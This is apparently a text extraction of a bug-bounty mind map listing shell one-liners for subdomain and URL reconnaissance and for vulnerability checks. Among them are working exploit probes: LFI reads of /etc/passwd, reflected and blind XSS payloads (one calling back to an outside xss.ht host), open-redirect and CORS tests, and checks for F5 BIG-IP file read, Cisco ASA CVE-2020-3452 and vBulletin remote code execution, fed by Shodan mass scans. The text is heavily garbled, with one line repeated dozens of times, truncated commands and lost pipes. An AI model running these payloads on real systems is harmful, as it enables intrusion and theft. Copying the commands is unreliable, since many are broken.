export LHOST="URL"; gau \$1 gf redirect qsreplace "\$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -q "Location: \$LHOST" xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 grep -I % -Is "%" 2>&1 grep -I % -Is "%" 2>&1 grep -Is "%" 2>&1 grep -Is "%" 2>&1 grep -Is "%" 2>&1 gre	IOST" && echo "Vl	JLN! %"' Open-redirec	
cat URLS.txt gf url tee url-redirect.txt && cat url-redirect.txt parallel -j 10 curlproxy http://127.0.0.1:8	080 -sk > /dev/nul		
gau HOST gf lfi qsreplace "/etc/passwd" xargs -1% -P 25 sh -c 'curl -s "%" 2>&1 grep -q "root:x" 8			
gospider -S URLS.txt -c 10 -d 5blacklist ".(jpg jpeg gif css tif tiff png ttf woff woff2 ico pdf svg txt)"other-source 5}' grep "=" qsreplace -a dalfox pipe tee OUT.txt	grep -e "code-20	00" awk '{print \$	
waybackurls HOST gf xss sed 's/=.*/=/' sort -u tee FILE.txt && cat FILE.txt dalfox -b YOURS.xss.ht pipe > OUT.tx	t	— xss	
cat HOSTS.txt getJS httpxmatch-regex "addEventListener\((?:' \")message(?:' \")"			
subfinder -d HOST -all -silent httpx -silent -threads 300 anew -q FILE.txt && sed 's/\$/\/?_proto_[testparam]=exploit\//' FILE.txt p testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' sed "s/(//g" sed "s/)//g" sed "s/JS //g" grep "VULNERABLE"	age-fetch -j 'windo	ow. Prototype Pollution	
shodan search http.favicon.hash:-335242539 "3992"fields ip_str,portseparator " " awk '{print \$1":"\$2}' while read host do ;d as-isinsecure "https://\$host/tmui/login.jsp/;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" grep -q root && \printf" shost \033[0;32mNot Vulnerable\n";done			
while read LINE; do curl -s -k "https://\$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&dalang=/" head grep -q "Cisco" && echo -e "[\${GREEN}VULNERABLE\${NC}] \$LINE" echo -e "[\${RED}NOT VULNERABLE\${NC}] \$LI		CVE-2020-345	
cat URLS.txt while read h do; do curl -sk "\$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3d from_url=x" grep -qs "onmouse" && echo "\$h: VULNERABLE"; done			
an search http.favicon.hash:-601665621fields ip_str,portseparator " " awk '{print \$1":"\$2}' while read host do ;do curl -s http://\$host/ajax/ er/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' grep -q phpinfo && \printf "\$ 033[0;31mVulnerable\n" printf "\$host \033[0;32mNot Vulnerable\n";done;	vBulletin 5.6.2 - 'panel' Remote Co	'widget_tabbedContainer_tab ode Execution	
assetfindersubs-only HOST gau egrep -v '(.css .png .jpeg .jpg .svg .gif .wolf)' while read url; do vars=\$(curl -s \$url grep -Eo "vased -e 's, 'var','"\$url"?',g' -e 's/ //g' grep -v '.js' sed 's/.*/&=xss/g'):echo -e "\e[1;33m\$url\n" "\e[1;32m\$vars"; done	ar [a-zA-Zo-9_]+"	Find JavaScript File	
cat FILE.js grep -oh "\"\/[a-zA-Z0-9_/?=&]*\"" sed -e 's/^"//' -e 's/"\$//' sort -u	— Extra	act Endpoints from JavaScrip	
HOST in \$(cat HOSTS.txt);do echo \$(for ip in \$(dig a \$HOST +short); do whois \$ip grep -e "CIDR\ Organization" tr -s " " paste; d			
uniq); done	— Get CIDR & Org	Information from Target List	
curl -s "https://rapiddns.io/subdomain/\$1?full=1#result" grep " <a" ""="" #results="" '="" 's="" -d="" -f="" -f3="" -u<="" 2="" cut="" g'="" grep="" http="" sed="" sort="" td="" =""><td>— Get S</td><td>ubdomains from RapidDNS.id</td></a">	— Get S	ubdomains from RapidDNS.id	
curl -s https://dns.bufferover.run/dns?q=.HOST.com jq -r .FDNS_A[] cut -d',' -f2 sort -u	- Get Sub	domains from BufferOver.rui	
export domain="HOST"; curl "https://tls.bufferover.run/dns?q=\$domain" jq -r .Results'[]' rev cut -d ',' -f1 rev sort -u grep "\.\$domain"			
$ curl -s "https://riddler.io/search/exportcsv?q=pld:HOST" \mid grep -Po "(([\w]*)\.([\w]*)\.([A-z]))\w+" \mid sort -u = 0 $	— Ge	et Subdomains from Riddler.io	
curl -s "https://www.virustotal.com/ui/domains/HOST/subdomains?limit=40" grep -Po "((http https):\/\/)?(([\w]*)\.([\w]*)\.([A-z]))\w+" sort -u		— Get Subdomains from VirusTota	
$ curl \ https://subbuster.cyberxplore.com/api/find?domain=HOST -s \ \ grep -Po \ "(([\w]*)\.([\w]*)\.([A-z]))\w+" $		Subdomain with cyberxplore	
curl -s "https://certspotter.com/api/v1/issuances?domain=HOST&include_subdomains=true&expand=dns_names" jq .[].dns_names grep -Po "(([\w. w]*)\.([A-z]))\w+" sort -u	-]*)\.([\ Get S	Subdomains from CertSpotte	
curl -s "http://web.archive.org/cdx/search/cdx?url=*.HOST/*&output=text&fl=original&collapse=urlkey" sed -e 's_https*://_' -e "s/\/.*//" sort -e 's_https*://_' -e "s/\/.*//" sort -e 's_https*://_' -e 's_https*://e	-u <u> </u>	Get Subdomains from Archive	
$ curl -s "https://jldc.me/anubis/subdomains/HOST" \mid grep -Po "((http https): \/\/)?(([\w]*)\.([A-z]))\w+" \mid sort -u = (https://jldc.me/anubis/subdomains/HOST") grep -Po "((http https): \/\/)?(([\w]*)\.([A-z]))\w+" sort -u = (https://jldc.me/anubis/subdomains/HOST") grep -Po "((http https): \/\/)?(([\w]*)\.([\w]*)\.([\w]*)\.([\w]*)\.([\w]*)\.([\w]*)\.([\w]*)\)$	Get Subdomains from JLD0		
$ curl -s "https://securitytrails.com/list/apex_domain/HOST" \mid grep -Po "((http https): \/\/)?(([\w]*)\.([A-z]))\w+" \mid grep ".HOST" \mid sort -u = (https://securitytrails.com/list/apex_domain/HOST" sort -u = (https://securitytrails.com/list/apex_domain/HOST" sort -u = (https://$	— Get Si	ubdomains from securitytrail	
while read sub; do echo "https://dns.google.com/resolve?name=\$sub.HOST&type=A&cd=true" parallel -j100 -q curl -s -Lsilent grep -Po '[{\[]{ l}([,:{\[]0-9.\-+Eaeflnr-u \n\r\t] ".*?")+[}\]]{l}' jq grep "name" grep -Po "((http https):\/\/)?(([\w]*)\.([\w]*)\.([A-z]))\w+" grep ".HOST" sort -u ; done < FILE.txt	Bruteforcing	g Subdomain using DNS Ove	
curlsilent https://sonar.omnisint.io/subdomains/HOST grep -oE "[a-zA-Z0-9]+\.HOST" sort -u	— Get Subdo	omains With sonar.omnisint.id	
curlsilent -X POST https://synapsint.com/report.php -d "name=https%3A%2F%2FHOST" grep -oE "[a-zA-Z0-9]+\.HOST" sort -u	— Get Suk	odomains With synapsint.con	
$ curl -s "https://crt.sh/?q=\%25.HOST\&output=json" \mid jq -r '.[].name_value' \mid sed 's/\^* \.//g' \mid sort -u = left (sed 's/\^*).$		Get Subdomains from crt.sl	
curl "https://recon.dev/api/search?key=apikey&domain=HOST" jq -r '.[].rawDomains[]' sed 's/ //g' sort -u httpx -silent	Sort & Tes	ted Domains from Recon.de	
ffuf -u https://FUZZ.HOST -w FILE.txt -v grep " URL " awk '{print \$4}'		domain Bruteforcer with FFUI	
vhois -h whois.radb.net -i origin -T route \$(whois -h whois.radb.net IP grep origin: awk '{print \$NF}' head -1) grep -w "route:" awk '{print \$NF}' sort -	Find Allocate Address	ed IP Ranges for ASN from IP	
$grep -E -o '(25[0-5] 2[0-4][0-9] [01]?[0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9] [01]?[0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9] [01]?[0-9]?) \\ (25[0-5] 2[0-4][0-9]](01)?[0-9]?) \\ (25[0-5] 2[0-4][0-9] [01]?[0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9] [01]?[0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9] [01]?[0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9] [01]?[0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9]?) \\ (25[0-5] 2[0-4][0-9][0-9]?) \\ (25[0-5] 2[0-5][0-9][0-9]?) \\ (25[0-5] 2[0-5][0-9][0-9]?) \\ (25[0-5] 2[0-5][0-9][0-9]?) \\ (25[0-5] 2[0-5][0-9][0-9][0-9]?) \\ (25[0-5] 2[0-5][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9$	5] 2[0-4][0-9] [01]?	Extract IPs from a File	
subfinder -silent -d HOST filter-resolved cf-check sort -u naabu -rate 40000 -silent -verify httprobe	— F	Ports Scan without CloudFlare	
gau HOST unfurl -u keys tee -a FILE1.txt; gau HOST unfurl -u paths tee -a FILE2.txt; sed 's#/#\n#g' FILE2.txt sort -u tee -a FILE1.txt FILE2.txt sed -i -e 's/\.css\\.png\\.jpeg\\\.jpg\\\.svg\\\.gif\\.wolf\\.bmp//g' FILE1.txt	sort -u; rm	1	
cat HOSTS.txt httprobe xargs curl tok tr '[:upper:]' sort -u tee -a FILE.txt		Create Custom Wordlist	
for sub in \$(cat HOSTS.txt); do gron "https://otx.alienvault.com/otxapi/indicator/hostname/url_list/\$sub?limit=100&page=1" grep "\burl\b" gungron jq egrep -wi 'url' awk '{print \$2}' sed 's/"//g' sort -u tee -a OUT.txt ;done	gron	Extracts Juicy Information	
subfinder -d HOST >> FILE; assetfindersubs-only HOST >> FILE; amass enum -norecursive -noalts -d HOST >> FILE; subjack -w FILE -t 100 ssl -c \$GOPATH/src/github.com/haccer/subjack/fingerprints.json -v 3 >> takeover;	-timeout 30 -	Find Subdomains TakeOve	
cat HOSTS.txt xargs -I % python3 paramspider.py -I high -o ./OUT/% -d %;	— Dump Cu	stom URLs from ParamSpide	
cat HOSTS.txt parallel -j50 -q curl -w 'Status:%{http_code}\t Size:%{size_download}\t %{url_effective}\n' -o /dev/null -sk	URLs Probing with cURL + Parallel		
curl -s http://HOST/sitemap.xml xmllintformat - grep -e 'loc' sed -r 's ?loc g'		Dump URLs from sitemap.xm	
curl -s \$1 grep -Eo "(http https)://[a-zA-Z0-9./?=]*" sort uniq grep ".js" > FILE.txt; while IFS= read link; do python linkfinder.py -i FILE.txt grep \$2 grep -v \$3 sort -n uniq; rm -rf FILE.txt	"\$link" -o cli; done	 Pure Bash Linkfinde 	
curl -s https://HOST/v2/swagger.json jq '.paths keys[]'	— Extract	Endpoints from swagger.jso	
site="URL"; gau "\$site" while read url; do target=\$(curl -sIH "Origin: https://evil.com" -X GET \$url) if grep 'https://evil.com'; then [Potent Found] echo \$url; else echo Nothing on "\$url"; fi; done	tional CORS	— CORS Misconfiguration	
ffuf -c -u URL -H "Host: FUZZ" -w FILE.txt	— Find Hidden	Servers and/or Admin Panel	
curl -s -w "\n%{http_code}" https://api.recon.dev/search?domain=HOST jg .[].domain	_	Recon Using api.recon.dev	
subfinder -d HOST -silent httpx -silent -follow-redirects -mc 200 cut -d '/' -f3 sort -u	F	Find Live Host/Domain/Asset	
waybackurls HOST grep '=' qsreplace '"> <script>alert(1)</script> ' while read host do; do curl -skpath-as-is "\$host" grepscript>" && echo "\$host is vulnerable"; done	qs " <script>alert(1)</td><td></l> XSS without g</td></tr><tr><td>python3 hosthunter.py HOS</td><td></td><td>Get Subdomains from IP</td></tr><tr><td>curl -vs URLstderr - awk '/^content-security-policy:/' grep -Eo "[a-zA-Z0-9./?=]*" sed -e '/\./!d' -e '/[^A-Za-z0-9]/d' -e 's/^\.//' sort -u</td><td>Policy</td><td></td></tr><tr><td>nmap -v0 HOST -oX /dev/stdout jcxml -p jq -r '.nmaprun.host (.address["@addr"] + ":" + .ports.port[]["@portid"])' httpxsilent</td><td> Nmap IP</td><td>:PORT Parser Piped to HTTP)</td></tr></tbody></table></script>		

Presented with **xmind**

